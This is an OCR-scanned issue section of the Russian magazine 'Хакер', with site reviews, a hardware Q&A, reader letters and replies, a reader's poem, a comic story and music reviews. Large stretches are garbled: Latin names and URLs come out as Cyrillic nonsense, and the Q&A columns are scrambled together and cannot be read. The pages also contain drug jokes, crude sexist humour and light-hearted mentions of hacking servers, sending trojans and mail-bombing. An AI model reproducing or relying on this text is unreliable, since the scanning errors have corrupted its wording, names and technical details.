ровалась во всех парнях! Одному было плевать на всё, лишь бы я с ним пе- 
респала. Другой мой парень, когда мы с ним расстались сказал, что это из- 
за того, что я ему не дала, хотя до этого у нас дело не дошло, а если бы до- 
шло, то я бы с ним переспала! Третий заявил когда я его бросила, что он со 
мной косматил по пьяни! Четвёртый рассказал своим знакомым (не друзьям) 
все, что между нами было! А Я ХОЧУ ПОНЯТЬ - ОНИ ВООБЩЕ УМЕЮТ ЛЮ- 
БИТЬ, ИЛИ ИХ ЭТОМУ НЕ УЧИЛИ???» Да, не повезло тетке, а может сама ду- 
ра, кто знает... Кстати, подобные мысли ты можешь оставлять в комментари- 
ях ко всей такой бодяге. Лично мне понравился вопрос молодого человека, у 
которого кривой член. Он спрашивает «Что делать?» А я бы спросил «Чем?»... 




Конопляные джунгли 




ННр : //тш. газіатап .Іаіез . ги/ 



Размышляя однажды о всеобщем 
легалайзе (что-то пробило на фи- 
лософские темы), наткнулся я на 
этот милейший сайт, изобилую- 
щий искрометным юмором на 
специфическую тему, близкую 
сердцу отечественного растамана. 

На сайте собрана масса самых ин- 
тересных вещей, но самыми по- 
лезными, верными и отвечающи- 
ми велениям времени мне показались «Растаманские народные приметы», 
самые лучшие из которых ты уже почти начал читать. 

ВОДКУ С ПИВОМ ПИТЬ - голова болеть будет. (Повсеместно). 

ГАНДЖА предлагают - курить будем. (Спасибо.) 

ЗВОНЯТ В ДВЕРЬ - гости придут. (Растаманские народные сказки.) 

КОСЯК забивают - курить будут. (Везде по СНГ.) 

МАГНИТОФОН включить - музыка будет, выключить - музыки не будет. (Из 
проспекта фирмы СОНИ.) 

МЕНТЫ в гости пришли - к неудачному вечеру. (Повсеместно.) 

ПАПИРОСУ по кругу передают - ганджа курят. (Из руководства по распоз- 
наванию торчков, сообщил Я.Тихий, Харьков- Москва). 

РАСТАМАН умер - ганджа курить не будет. (Боб Марли и прочие.) 
РАСТАМАНЫ за угол пошли - ганджа курить будут. (Сержант Коротков, 
Москва, 5-е отделение милиции.) 

САМОЛЕТЫ летают - нормально, низко летают - пригнуться надо. (Это не 
примета, а полезный совет.) 

Да, не забудь после того, как закончишь изучать этот сайт, сказать реши- 
тельное «НЕТ!» наркотикам. 



О мужчинах 
для женщин 

Нир://таІіппік.пагос].ги/ 



Адресок для тех, у кого 
подруга уже есть, но 
вбить в её чудесную куд- 
рявую головку несколько 
простых и очевидных ве- 
щей ну никак не удаётся. 

Выход есть - делаешь 
нужный сайтик в её ком- 
пе стартовой страничкой 
и по прошествии некото- 
рого времени наслаждаешься полученными результатами. Это если пове- 
зет. Если нет - зализываешь синяки и царапины, наставленные в твоих 
любимых заповедных местах прозревшей самкой человека. Ты только не 
поленись сам прочитать то, что будешь девочке подсовывать, а то, может 
быть, ты и не согласен. Хотя трудно не согласится с правилами для жен- 
щин в стиле «Все, что может быть прозрачным - должно быть прозрач- 
ным. Везде, где может быть вырез - должен быть вырез. Лучший лифчик 
- его отсутствие». Мне лично очень понравилось следующее откровение: 
«Мужчина идет на поводу у своего пениса. Мозг лишь придаток, призван- 
ный исполнять полученные от пениса приказы. А пенису ваше чувство 
юмора и ум, честно говоря, не нужны. Это потом лишь мозг на стадии ох- 
мурения замечает у вас эти черты, а в начале мужчина смотрит на вашу 
задницу, потом на грудь... А если вы стоите лицом к мужчине, то сначала 
на грудь, потом на лицо, но потом и на задницу. Критерии ясны?» 




Это тебе не что-нибудь 
сомнительное или непро- 
веренное, а ОФИЦИАЛЬ- 
НЫЙ САЙТ САНКТ-ПЕТЕР- 
БУРГСКОГО ИСТОРИКО- 
ИЗЫСКАТЕЛЬСКОГО ОБ- 
ЩЕСТВА. Не парься по 
поводу напряжного назва- 
ния, лучше адресок в бра- 
узер забей и завидуй лю- 
дям, которые из земли 
всякие прикольные штуки 

достают и потом их чистят, ремонтируют, копят, носят, ими же меняют- 
ся и торгуют. Очень рекомендую забраться в раздел, целиком и полно- 
стью отданный военным археологам и поудивляться находкам, сделан- 
ным подчас неназванными следопытами. Опять же - стоит походить по 
местному форуму. Для затравочки несколько реальных постов: 

■ «Подскажите модель и страну изготовителя кассетной авиабомбы 
времён Второй Мировой. По форме - цилиндр, из центра выходит 
стальной тросик к которому крепятся половинки корпуса, раскрываю- 
щиеся в полёте в виде пропеллера. 

■ Имеется башенное орудие предположительно А- 1 1 или Ф-34. Кроме 
того, есть парочка мест, где, с большой вероятностью можно утверж- 
дать, могут быть танки (т-34 и Немец). Кому интересно пишите. 

■ Господа, реальное предложение: куплю за большие деньги танк 
«ТИГР». Готов сразу приехать и расплатится! Заранее благодарен за лю- 
бые предложения!» 

■ Короче, хорош жадничать, доставай из-под дивана свои каски и гра- 
наты, выкатывай старенький «Тигр» из-за сарая и меняй всё это на нор- 
мальный комп, хоть и нет побороздишь по-человечески. 
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ПО ЗОН 




ПРОИЗВОДИТСЯ ПОДПИСКА ЖУРНАЛА «ХАКЕР» 
НА 2003 ГОД И 1 -е ПОЛУГОДИЕ. 




Ты можешь подписаться на Хакер 
прямо сейчас! В любом почтовом 
отделении. Хватай зеленый 
каталог и ищи наши индексы. 



Подписка оформляется в любом 
почтовом отделении связи России и СНГ. 
На территории России подписка 
производится по «Объединенному 
каталогу 2003» («Зеленый каталог»), в 
странах СНГ и по «Каталогу 
российских газет и журналов» 



Подписной индекс на год: 
«Хакер» 27229 
«Хакер» + СО 45723 



Индекс на полугодие: 
«Хакер» 29919 
«Хакер» + СО 45722 




РАО 



Зіерап ІІуіп ака 5іер ({ад@геаІ. хакер. ги) 



Задавая вопрос, подумай! Не стоит мне посылать 
вопросы, так или иначе связанные с 
хаком/кряком/фриком - для этого есть Наск-Тад 
(МасІгіад@геаІ .хакер. ш), не стоит также задавать 
откровенно ламерские вопросы, ответ на которые 
ты при определенном желании можешь найти и 
сам. Я не телепат, поэтому конкретизируй вопрос, 
присылай как можно больше информации. 



иіі, юкащіУ 



у*, кого- 

-сто ьрощекгой ъ ра 

достаточно внимания. 



и п&мя вн&исш»й мо©<^> 1 
КиХ&І ОіпПі і 

ШайЪЩЖМР.^Р^ г 
Сш-ыірг* а ш&д 
* іре -юргч- 

Іх&ютьі Кто Виноват- 

я Е”і 

ринке). п л тп цр поленись - поставь со 

пользуешь новомодные Ц 8 В ^ 2 . 0 тоне полей . 

ответствующие драйвера. Не забудь также 

ѵѵш.2ухеІ.ги/кпЬазе/(1еіаиІ1.а5р?РгоЫет 43 . 



- , ТМ1ЛД пяжр нѵжно =). Встроенный звук с легкостью 
Разумеется, можно. При наличии хорошей ацстит і - Д * на систем ной плате. Здесь 

отключается либо в БИОСе и модели твоей материнки. По- 

ГлГ;— 



У Г -Па<г* ГШХЫ что Н<г2>абнО 

2Шг гоните» 

Г) '{ХгЦТу нав»грно<г. 

^НовыГ Сеіегоп-ы, п “ т ^^вд ТДЛЬ до ад^нил^^^ 

ЫогНаѵѵоосІ (0.13 мкм) , деистви гигагерцовых Селеронов стабильно ра- 

его старшего 

ботают на частоте 2800-2900 М№. д шине 150 мГц, то есть на ча- 

цессор с коэффициентом умножения 20 р 6ыл ек0 позади | П (еІ Р4 

стоте 3000 МН 2 . Оддако ддже на такой час ^ же ифает о6ъем до . 

1 , 6 А, работающего на той же шина /Л ко „ иче ство мегатериев 

дое^е І ^даоП^ р ^ 0 р^ апьн;,ю производительность процессора... 



^ м Г'т Р?° ЗР 

кармана, но помни, что скупой платит дважды. — 



ПоЭ аос» НОРМАЛЬНЫЙ ?ес- 
АІМРнѵиг хжгрш: ;; 

ответ 

ппиа «Уплатный» и «хостинг» совершенно несовмес- 
Честно говоря, я считаю слова «бесплатный^ раз в этом убеЖ дался. 

тимыми друг с другом .Просто -я Р ( 6удет В ешать) рекла- 

Аксиома 1-ая: ЛЮБОЙ биш» "Г» 2-ая: никто не гаранти- 

му/всплывающееокошко/фреим . з_ я - раз нет гарантии и обяза- 

рует тебе стабильность работы сервера ^ последняя: хостер все- 

тельств, сервер будет падать. уже сейчас забыть о 

гда будет устанавливать какие-либо 0 Г Р анІ \ ■ не с просят . БоЛ ее того, 



^хіГ м ^..жомОрегі^Г.се а 

ответ 

А: Думаю теперь, когда в ОрепОй^ мз'ой^еТ в'егосостав входят 
&г - текстовый процессор, жутко 

работчиков из ^^удавляет своим потенциалом в пла- 

ко, но уже сейчас ОрепОйсе „ Гболее того, он полностью совме- 

не верстки и форматирования текста Болда 

стим с документами и ша ™на^ достаточно скро мный. Однако сре- 
ди^е "реализованных функций отмечу возможность вычислении, сор- 

> и~>. р-™ — 

ню СогеІ Ргаѵѵ -)■ и гозлания презентаций. Разо- 

— — * 

формул. Все просто и понятно. 



102 





іи'-— ■ 

9 й 4-»»" гі: -” , ‘‘ , '“ 





Ко* уВид&гь на 
СУ руссше. 

1 №№Ьа-ро^коб- 

ЪРЪітр. 

В /еІс/ІзІаЬ вставь что-нибудь вроде 
«/беѵ/сгігош /шШ/сйтош аиіо оѵюег.поаи- 
1 о,го,юсбагзе 1 =коВ-г 0 0» (естественно, 

без кавычек). 



ШгГ^.® • — • 8,0? 6>ш,/г лі " ющьатьі 

дистрибутив появился у меня буквально на ддях опишу рулят! 

—о красиво, Мо^ііа/Еѵоіибоп ОрепШ«(с 

Идущий с дистрибутивом софт заслуживает Н №0 р1ауе| . Драсйе 2. Кое- 

поддержкой проверки русской °РФ° г Р^ и ^^ е р° ь ид( ? т только в ЦНЮООЕ. В остальном на- 
где встречаются проблемы с кириллиц ’ аданствен ным минусом является проблема с кирил 
реканий нет, все работает, как часы ' ® „ о что-то мне подсказывает, что она будет всегда... 
линей в консоли и различных приложен ' ' о6н0 влением КОЕ, дсс, ядра - можешь приобрес- 



■ 






Р Т‘ 

( 3 О.хх с іаи^го Ма), то *Р° г < °_ 
^нбыо'ШШ.Ж с*Р*” ^ топ 

менили формат драйверов и ви ' Ф Ответственно ШЛА геігезб гаіе (іх не в 
разрешениях находится в дру использовать специальные драйвера для 

силах что-либо сделать. Мои ^предложить 

монитора, которые не п® 3 во лл ® /Дасктоп гір). Не исключено, что на момент 

г— 



ЛАМОРАЗМЫ НОМЕРА 

Я плакал: 

в работаю^ ^уопіх@бпи П х^^^тдГ 

(аппа_<езоѵа@арогі.ги) п „, зался нерабо- 

3 Кѵпил с рук монитор, а он оказался и р 

чим У Что делать? :(. (Иурег@1атопаИа.сош) 



Как ты ^ма<гш.ь, р<га№ 
но ш юставить ^піуна 

ответ 

Г”^ГХ=Г* — ■ ~ 

(оІЗЗ/ІбМЬ) - работать в консоли одно удовольствие. 
Мапгігаке-е: «ср ЬооІ.ітд/беѵ/МО»). 



ИИГЙР ^' По“да- 

СІм> Эля ігетепз сНі . і Іоэско 
НІШ с сѵфт: -с помощью которого 

ш^иаЩ^':Рр ть свои м<г ' 

%%аУаШ'бтиш 1 

5х35С2 2.3.0. 1 (ѵши.ѵізцаІроіпЕп^амюВДЗпьі^зі^^б^^)^ ^ 
моему, одна из лучших программ дл р ^ того . програ мма имеет 

фирмы Віешепз. Все "Р“ т0 а ае 0 б уч ение и вовсе сводится на нет. 

КГЕЗКГГУ — — ■ — » ” 

логотип - это именно то, что тебе нужно. 

іп ѵѵш.зіетепз-сІиЬ . гиДіІез/Зі ПОСТ п 0е ния графика уровня при- 

все, что мотло быть сделано, в "* т ^"“п^облем с і навигаци- 
ема сигнала в реальном времени. * л _ кций не возникает, благода- 

Кучу другого софта с описаниями для всех моделей Зіетепз-ов 
дешь здесь - ѵшѵ.зіетепздзт.ги/зоП.Мт. 







Юниты 



НЯ ПИСЬМП ОТВЕЧЯЛ СЕПТПЕН 




::: Наше е-мыло: тада2Іпе@геаІ. хакер. ш 




НДМ ПРИНОДИТ НУЧИ ПИСЕМ, НО ЧЧ/ ЭТОГО СППМП 
МЫ СРПЗУ ОТПРПВЛЯЕМ В /ОЕІІ/ПІЛІ 

Сразу же в треш: 

1 . Письма с матом, пустой руганью - хамов мы не любим. 

2. Просьбы выслать кряк, программу - поисковики в Инете тебе помогут. 

3. Объяснить, почему не работает программа (железка) - мы не саппорт твоего 
софта и оборудования. 

4. Вопросы в стиле «как настроить» - ПТРМ. 

5. Просьбы прислать бесплатно журнал, компьютер, Мегзесіез СЬК - мы сами ха- 
лявщики и халяву не раздаем :). 

6. Взломать/крякнуть/фрикнуть твоего соседа, подружку, мавзолей Ленина - 
мы журналисты и ничего в этом не понимаем, не видели, не знаем. 



А вот письма с мнениями о журнале, критикой, с идеями, предложениями, 
мыслями и прочим, относящимся непосредственно к журналу, - мы читаем 
внимательно. 



Очередной хит-парад ваших потрясающих до глубин самого глубокого кишечника 
опусов начинаю во вполне общефилософском настроении. Даже письма - ну, как 
на подбор... Сговорились, что ли? А я туг медитирую между делом над идеей, ко- 
торая с течением времени позволит мне обзавестись специальной шапкой обяза- 
тельно яркой раскраски, которую я буду напяливать на голову всякий раз, зани- 
маясь разбором почты. А еще я тут реально угорал над фигульками, которые ино- 
гда на Іепіа.ги постят: «Любопытную информацию о томских хакерах распростра- 
няет местное сетевое издание «Обыватель». Как утверждается на сайте, эти люди 
работают преимущественно из интернет-кафе, узнают друг друга по головным 
уборам, используют для взломов программу «Фотошоп» и зарабатывают доволь- 
но крупные суммы.» Ай да «Обыватель», ай да сукин сын :)). Ладно, дело не в 
этом, приступим к заслушиванию пострадавших и свидетелей. Всем встать! 



|ГА-^ С извечным вопросом «Быть или не быть» обращается к нам 
Мамонкин Алексей [1ідга777@опІіпе.ги] 



Привет, Хакер. Пишет вам простой юзер из Москвы. Я решил к вам обратиться 
по такому вот делу: мой С:\ непонятным образом захламлен архивами типа 
ВС00000243125 (папка с:\_ге$Іоге\АВСНІѴЕ). Мой Касперский при полном избы- 
точном сканировании ничего не нашел. Вируса, стало быть, нет? Как повлияет 
удаление пары гигов этих архивов на работу моего РС? Огромное спасибо!!! 






Сам великий и могучий курский Сбегпотог 
[сбегпотогеІ5@гатЫег.ги] порадовал старика своим (как из- 
волил выразиться автор) «типа письмом». 



Хеллоу ][! Пишу вам, кул хацкеры, из города-героя Курска. Здесь ваш супер- 
пупер-мега-кульный журнал тоже лЮбят и читаЮт (некоторые не лЮбят, т.к. 
инетом делиться никому не хочется). Все в журнале хорошо - и статьи, и гра- 
фика, и бумага (особенно бумага, т.к. на самокрутки, а также по назначению 
не используется), но вот недавно решил я просмотреть предыдущие номера 
за 2001 год, а где смотреть?.. Конечно на сайте ксакеп.ру!!! Вот тут я и обло- 
мался. Не знаЮ, кто там у вас дизигном занимается, но пень он еще тот (без 
обид). Некоторые статьи просто невозможно читать :(((, и графикой все очень 
загружено, в смысле бэкграунд слишком пестрый. 

А в остальном - так держать!!!...!!! Типа все. Пока. 



Эх, опять нас ругают :). Придется выкручиваться... Вопрос со ста- 
рыми номерами на сайте Ксакепа обмусоливался уже давно. Но к 
единому мнению пока даже читатели не пришли. Номер в РОР 
слишком много весит, в ТХТ нельзя скриншоты зарядить (без них 
бывает, что и не поймешь ничего), в НТМІ. весь номер перелопачи- 
вать - это ж никаких рук не хватит. Но что-то мне подсказывает, что 
однажды этот вопрос решится, дизайнеры-вредители будут расст- 
реляны, а народ получит старые номера ][ в удобочитаемом виде. 



Ну-с, благодарить нас пока что не за что, лучше я займусь не- 
научным угадыванием всех обстоятельств, которые и привели 
Алексея к вышеописанной ситуации. В чем суть проблемы, ува- 
жаемый? Вдруг, откуда ни возьмись, на системном диске появ- 
ляются подозрительные архивы, которые ни на что, кроме как 
на проверку отечественным антивирусом, не годятся? И даже 
вирусов в них нет? Ну, и славненько - расчищаем себе местеч- 
ко, снося нафиг заресторенное файло. Предположу, что «удале- 
ние пары гигов этих архивов» на работу твоего компа повлияют 
самым благотворным образом: вместе с дефрагментацией уда- 
ление позволит твоему винту вздохнуть несколько свободнее. И 
тебе вместе с ним :)). 



гі-^~ Ч -*> Теперь вот рітісіі [рітісб@таіІ.ги] нас приветствует и пристает 
с вопросами. 

Здравствуйте, ребята! Пишет вам постоянный читатель Рітісіі Я уже как-то 
отправлял вам тзд, когда только инет подключил (месяц назад). Мне тогда 
какая-то девушка благодарность прислала (в ответ на письмо). Решил вот 
повторить сие действо. Хочется общения, но приходится сидеть дома одному 
(болен я тяжко :)). А! Вопросик у меня назрел. Г-н Сепіпег, Вы не скажете ку- 
ды Холой делся? Давно его не слышно... Все, хватит ваш ящик спамом засо- 
рять, до свидания! 



Перво-наперво хочу поблагодарить за постоянство и непроходя- 
щую любовь к чтению ][. Спасибо тебе. Девушке обязательно 
передай от меня привет, когда будешь с ней общаться, сидя до- 
ма, а я передам от тебя привет Холоду, который никуда не про- 
падал, а даже наоборот - всплыл в качестве главреда подрывно- 
го журнала «Хулиган», следы которого теряются на 
ННр : //мт. хуі і дап . ш 



Добрый и очень наблюдательный ЕІ_Р [еІ1_ак@таіІ.ги] предло-^ 
жил всем довольно необычный метод «облегчения» для самых 
маленьких и выдвинул массу тезисов, с которыми я просто не 
могу не ознакомить прогрессивную общественность. Знако- 
мимся прямо сейчас: 






Дароф, уважаемые! 

1 ) Читаю ваш журнал уже 1 ,5 года. Не буду кричать, что надо выкинуть Дани- 
ила и проч., но и не скажу, что все нравится, и что все надо оставить, напри- 
мер, треть журнала рекламы. Я, конечно, понимаю, что вам жить надо и все 
такое, но просто неприятно (если это слово пишется раздельно, я не вино- 
ват... это все бабушка: «она старенькая, над ней сжалятся»), 

2) Еще хочу сказать, что раньше очень трудно было понять статьи, в которых 
приоритет некоторых понятий значился, как, дураку понятно, мы объяснять не 
будем. Поэтому предлагаю для облегчения (не в том смысле!) обучения со- 
здать либо, как ранее предлагалось, рубрику «Для самых маленьких». Причем 
вместо рубрики, которая будет вынесена вон, путем всеобщего голосования, 
но лучше за счет увеличения журнала. Либо создать «Мануал ламеру от ][ац- 
керов», составленный на основе всех статей и написанный простым, ламер- 
ским языком. 

3) Также мною была замечена тенденция ] [народа к действию, противополож- 
ному к «не любить», в отношении господина Вильяма Гейтса. Причем узнал я 
это не из письма Вепаі@па 1 .к 2 , а от многих людей за месяц и больше до е 
хода ][акера(45). Сам я, конечно, практически ничего против М$ и В.С. не 
имею, но как-то это странно. 

4) Ну, вот пока и все, буду отписывать по мере нарастания гнева. За орфогра- 
фию, пунктуацию, критику и вольнодумство прошу меня не винить, это все она 
виновата (полагается сказать, пытаясь сковырнуть черную тварь, впившуюся в 
шею и руководящую мозгом). Можете не отправлять мою мессагу в трэш, т.к. 
задолбаетесь это делать (обзавелся я такой прогой МаіІ ВотЬег, которая суме- 
ет заспамить вас этой мессагой по самые не ][акай). Дазвиданья. 



Начинаем с первых замечаний: я искренне рад тому, что тебе не 
все в журнале нравится. Это значит, что у тебя есть собственное 
мнение, и ты готов его сформулировать и мотивированно отстаи- 
вать. Это гут. Касаемо бабушки и рекламы - тут без бутылки точно 
не разобраться, есть свои минусы и плюсы, но плюсов все же по- 
боле будет, сообщу тебе по секрету. Дальше ты предлагаешь со- 
здать «Мануал ламеру от ][ацкеров». Сюжет не нов, но до сих пор я 
не встречал более-менее подробного описания содержания такого 
мануала. Что лично ты хотел бы там видеть? Только будь конструк- 
тивен, не пиши «вообще», пиши «в частности». Еще раз напомню 
всем: ][ ДЕЛАЕТСЯ ДЛЯ ЧИТАТЕЛЕЙ, то есть для вас, и вы сами мо- 
жете повлиять на содержание каждого номера. Но делайте это чис- 
то конкретно, иначе наш ответ Чемберлена на предложение создать 
раздел, «составленный на основе всех статей и написанный про- 
стым, ламерским языком», будет постоянно звучать так - РТРМ!!! 



Для пущего балансу и вслед мыслям про рекламу еще одно 
письмецо. От Ѵепот Зіоип [ѵепотз@таіІ.ги] 



Добрый день, уважаемая редакция X. Спасибо вам огромное за рубрику Тип- 
с. Из нее можно почерпнуть для себя много нового, интересного, а также по- 
лезного. Помимо этого ваш журнал вообще радует глаз. Взять хотя бы рекла- 
му. В отличие от других журналов она у вас идет по теме и предоставляет не- 
обходимую, нужную информацию. А пишу я вам с таким вопросом. Как со- 
здать собственную письменную систему, такую как таіі.ги, не беря в аренду 
необходимое кол-во тех же ящиков на таіі.ги и не используя собственный 
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призы выдаются до го ноября гоогг 



ОЕРЕПОЕП представляет 
самые-самые письма номера 






Письмо это совсем и не дурацкое. И не письмо вовсе. 
Тогда почему оно тут? А потому что ребята постарались 
и позанимались самостоятельным ТВОРЧЕСТВОМ. 
Фигня, что рифма хромает и сочность красок 
отсутствует, зато все сделано самостоятельно и подход 
нестандартный. Вполне в хацкерском духе. Илье 
ргод@2таіІ.ги] крепко жмем руки всей редакцией и 
поздравляем с первой публикацией в самом 
сомнительном разделе е-мейла :)). 



Илья [х-ргод@ 2 таіІ.ги] 



РАЗМЫШЛЕНИЕ О РОЛИ ИНЕТА, ХАКЕРАХ И ЛАМЕРАХ 



Это ж надо таким быть! 

Инет иметь и ничего в нем не уметь. 
Полным Ламером там быть. 

Только почту проверять. 

А надо музыку качать, 

Надо видео смотреть, 

А можно серверы ломать, 

Базы данных раскрывать, 

Троян на почту отправлять, 

Над лучшим другом потрещать. 

Ну, ладно, хакерства довольно, 

Идем смотреть большое порно! 

Опять влез в мысль Даня мне. 

Эй, БІЫІег, где ты? На Луне? 

Бери НоггіІіс’а с собой, 

Отправим Даню мы домой. 

Читай везде, читай всегда 
В журнале ][ раздел БОРДА. 

Себе найдешь ты там друзей, 

Таких же классных Юзверей. 

На РС20ИЕ ты загляни, 

Там Сепіпег пишет про #агсГы 
И про программы для компа. 

Но самый РУЛЬНЫИ это КОДИНГ!!! 

На ЭеІрЫ нас там учат шкодить. 
Чуть-чуть не в рифму, но ведь правда, 
Читать КСАКЕП очень приятно!!! 

Но что-то сильно я отвлекся, 

Давай на землю мы вернемся. 

Ты знаешь, Хакером быть классно! 
Повсюду видишь ты опасность. 

И для тебя комп - член семьи. 

Ты целый день сидишь за ним. 

А ИНТЕРНЕТ родной твой дом. 

Ты тоже днями сидишь в нем. 
ВЕБ-сервер-то твой старший брат, 
Сестрой прикинулся ВЕБ-сайт. 

Со всей семьею Виртуальной 
Ты не отходишь в мир реальный. 
Сидишь в Мнете день за днем. 
Ушастый Ламер он пень-пнем, 

Он попадает от тебя, 

И жизнь его теперь твоя. 

Ты лучший Хакер! Будь таким! 

Юзай Инет в ущерб другим!!! 



сервер (постоянный хост). Ответьте, пожалуйста, возможно ли та- 
кое вообще (оно и понятно, что можно) и порекомендуйте, пожа- 
луйста, для этого софт. Заранее спасибо.) 

Р.5. Я хочу узнать, как создается почтовая система на предлагае- 
мом хостинге, но сделать все ручками. 



На вторую часть письма (про почтовую систему) я ответить 
не в состоянии. Не хватит мне для этого места, даже в це- 
лом журнале, без рекламы вовсе :). Вообще, ясное дело, 
такое возможно, но надо принять в расчет предполагае- 
мое количество юзеров, правила доступа, сервак, ОС для 
него и кучу всяких там еще деталей для того, чтобы оста- 
новиться на каком-то конкретном софте. С такими вопро- 
сами прямая дорога в профильные программерские фору- 
мы, там же до кучи можно будет и страшилок послушать о 
злобных хацкерах, пачками валящих почтовые системы. 



, Вопрос от человека по имени Илья Никитин 



[п1@регт.ш] настолько же част, насколько и беспо- 



лезен. Поэтому отвечу на него подробно, чтобы все 
сразу поняли и одумались. Сначала оригинальный 



текст письма: 



Здравствуйте! Не смог найти «Хакер» 09/02 с диском. Скажите, по- 
жалуйста, есть ли возможность получить диск из этого номера по 
почте и во сколько это обойдется. Заранее Вам благодарен. 

С уважением Илья Никитин. 



Привет, Илья! Сообщаю тебе и всем, что нет у редакции 
возможности отправить тебе диск от девятого номера. Это 
не жлобство и не лень, просто старых ][ на редакционных 
полках бывает и днем с огнем не найти, раскупают жур- 
нальчик всякие безответственные читатели. Интересно, с 
какой целью? :) Но чтобы ты не падал духом, я расскажу 
тебе, как бы я поступил на твоем месте: допустим, при- 
спичило мне найти этот самый диск. Ну, нет его в прода- 
же, что делать? Иду на форум, зафигачиваю туда объявле- 
ние со своими координатами и примерно таким текстом: 
«Недорого куплю, приму в дар в хорошие руки или вос- 
пользуюсь вашей добротой в плане изготовления копии 
так нужного мне компакта. О компенсации договоримся. 
Дата. Подпись.» Если что - скажи всем, что я разрешил :). 



З.Ы. Если стих получился не самый отстойный, то, плз., ответьте нам 
(см. ниже). Заранее спасибо, что прочитали. Удачи вам и побольше^ 
читателей!!! 















Но мы так никогда и не 
узнаем, что же хотел 
добавить Даня, потому 
что в этот самый момент 
Гриша Рыбкин, учащийся 
9-го класса 242-ой 
средней школы, выскочил 
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"Противопехотные мины - 
это серьезная проблема, 
которая очень сильно 
меня волнует", - сказал 
Пол Маккартни. 

Даня поперхнулся жева- 
тельной резинкой и по- 
вернул голову к телеви- 
зору: 

"Понимаете, это неверо- 
ятно важно ! Миллионы 
[ин в Африке так до сих 
ор и не обезвреди- 
:и . . . " - продолжал ста- 
рина Пол с нездоровьм 
блеском в глазах. Одна- 
ко тут же его сменила 
сексапильная блондинка: 
"Меня, - сказала блон- 
динка, - крайне волнует 
проблема рака груди ! " . 
Даня выключил телеви- 
зор, оделся и вышел на 
поверхность планеты. 

Там его встретил мелкий 
дождик и большой рек- 
ламный щит с предвыбор- 
ной пропагандой. На щи- 
те был изображен подо- 
зрительного вида тип, 
оскаливший в дружелюб- 
ной ухмылке все свои 
золотые зубы. Ниже было 
написано: "Григорий Ма- 
хачушвилли . Кандидат в 
депутаты от округа но- 
мер . . . " . Еще ниже шла 
надпись крупньм шриф- 
том: "СПЕШИТЕ ДЕЛАТЬ 
ДОБРО ! " . Надпись резко 
контрастировала с физи- 
ономией подозрительного 
типа, который наверняка 
еще вчера продавал на 
рынке абрикосы, героин 
и противотанковые гра- 
наты. "Клевый плакат! - 
подумал Даня, - Только 
я все равно бы лучше 
сделал. . . Нужно убрать 
мерзкого типа и вместо 
него нарисовать автомат 
Калашникова. Или нет - 
лучше добавить . . . " . 



Психиатр, сухонький старичок с заметной 
лысиной, снял очки, тщательно протер их за- 
потевшие стекла и обратился к Дане: 

- Так, значит, вы не понимаете всю аб- 
сурдность ваших высказываний? 



из подъезда и ударил 
его по голове куском 
арматуры. А затем за- 
брал часы, телефон и 
бумажник . 



Утренний Дождь со всех 
ног бежал к Учителю, 
неся в руках диковинный 
кустик с красивым кор- 
нем в форме сердца. 

- Я нашел ! Нашел его ! - 
крикнул мальчик, подбе- 
гая к костру, на кото- 
ром стоял кипящий котел 
с булькающей зеленой 
массой . 

- Что ты там нашел? - 
спросил Даня, отложив в 
сторону пучок сушеных 
грибов . 

- Тысячеглаз ! Который 
цветет раз в десять 
лет. 

- Дай-ка сюда. . . О-о, 
повезло тебе ! Засуши 
его, затем разотри в 
ступке и добавь немного 
тройного папоротника. 
Через пару лет оценишь 

- девки будут с ума 
сходить от одной щепот- 
ки. . . 

- Правда? - спросил 
мальчик, и глаза его 
загорелись . 

- Ага. Только аккурат- 



нее с папоротником - у 
меня в свое время из-за 
этой штуки две подруги 
откинулись . Переборщил 
я тогда немного, грему- 
чая смесь получилась . 

Эх, хорошие были време- 
на! Слушай, а у нас еда 
вообще осталась какая- 
нибудь ? 

- Нет! - сказал Утрен- 
ний Дождь, - Мы же вче- 
ра лань доели. . . 

- Плохо дело. Ладно, 
пошли со мной. 

Они спустились с горы и 
вьшіли через узкую рас- 
щелину к равнине, по- 
среди которой, у реки, 
были видны костры рас- 
положившегося здесь 
племени . Даня подвел 
мальчика к компании де- 
тей, которые стреляли 
из луков по мотылькам, 
вьющимся у одного из 
костров, а сам отпра- 
вился в Белый Вигвам. 
Зайдя внутрь, он увидел 
десяток мужчин - силь- 
ных воинов, которые си- 
дели кругом и по очере- 
ди курили трубку. Луч- 
шее место у огня зани- 
мал вождь племени - 
Пятнистый Бизон . 

- Вождь, - сказал Даня, 
когда взгляды воинов і 
устремились на него. Е* 

- Я вчера общался с “у 



Х-МУЗІС 



Музыка для хакера 

Команда: не команда, а мега- 
крышесносный сборничек 
пластинка: Кафе-клуб «Ки- 



тайский летчик Джао Да» 
Релиз: «Китайский летчик 
Джао Да» ^ 2000 А 

Реальный хит: Папер- А 
ный Там -»Пых-Пых- Ж 
Пых» / * 








означать словосочетание ч^*> 4 „ 

«грамотная телега»? Это когда 

люди гонят, но гонят очень приятно А 

для головного мозга. Как раз тот самый ^ — Ж 

случай. Диск полон изрядной стебности му- ^ч 4Я 
зыкального гона, и дополняет его не менее от- ^ч/ ^ 
вязный сайт, изобилующий эпизодами из жизни 
Джао Да, который с детства мечтал о небе. В 14 лет он 
сконструировал и построил из бамбука летательный аппарат. 
Спрыгнув с ветровой вышки, Джао Да пролетел на своем ма- 
хокрыле 50 метров. Хороший мальчик, слушает хорошую му- 
зыку и курит хороший бамбук. Всем на него равняться :). 







Музыка для крякера 

Команда: Ваттзіеіп 
Пластинка: МиНег 
Релиз: Моіог Мизіс, 200 
Реальный хит: МиНег 

Ваттзіеіп, надеюсь, тебе 
представлять не нужно? Не- 
мецкая команда, которая 
всеми своими «веселыми 
нотками» выпирает из 
общей массы, не забы- 
вая при этом попеть 
«жалистных» сиротских 
песен, столь популярных в 
России в последнее время. Ну, 
немецкого-то у нас уже лет шестьде- 
сят как граждане не помнят, зато мелодии 
у Ваттзіеіп такие, что несчастные затюкан- 
ные соседи готовы пойти и сдаться властям По- 
моги им в этом и... ѵѵегі іп біе І_и11 біе паззе Кеііе, ипб 
ѵѵипзсіі тіг базз ісб еіпе МиНег баііе... 




Музыка для западлостроителя 

Команда: ППК 
Пластинка: Перезагрузка 
Релиз: ІІрІіНо Весогбз, 2001 
Реальный хит: Перезагрузка 

Уже знакомая каждому прогрессив- 
ному тусовщику отечественная ко- 
манда. Если ты не слышал ППК - 
ты вообще не слышал русского 
транса. Матерые музыкантища 
с новой пластинкой сходу за- 
гремели в СооІ Сиіз II К под 
номером 16, и что-то мне 
подсказывает, что это 
далеко не главная взя- 
тая ими высота... Р.З. 

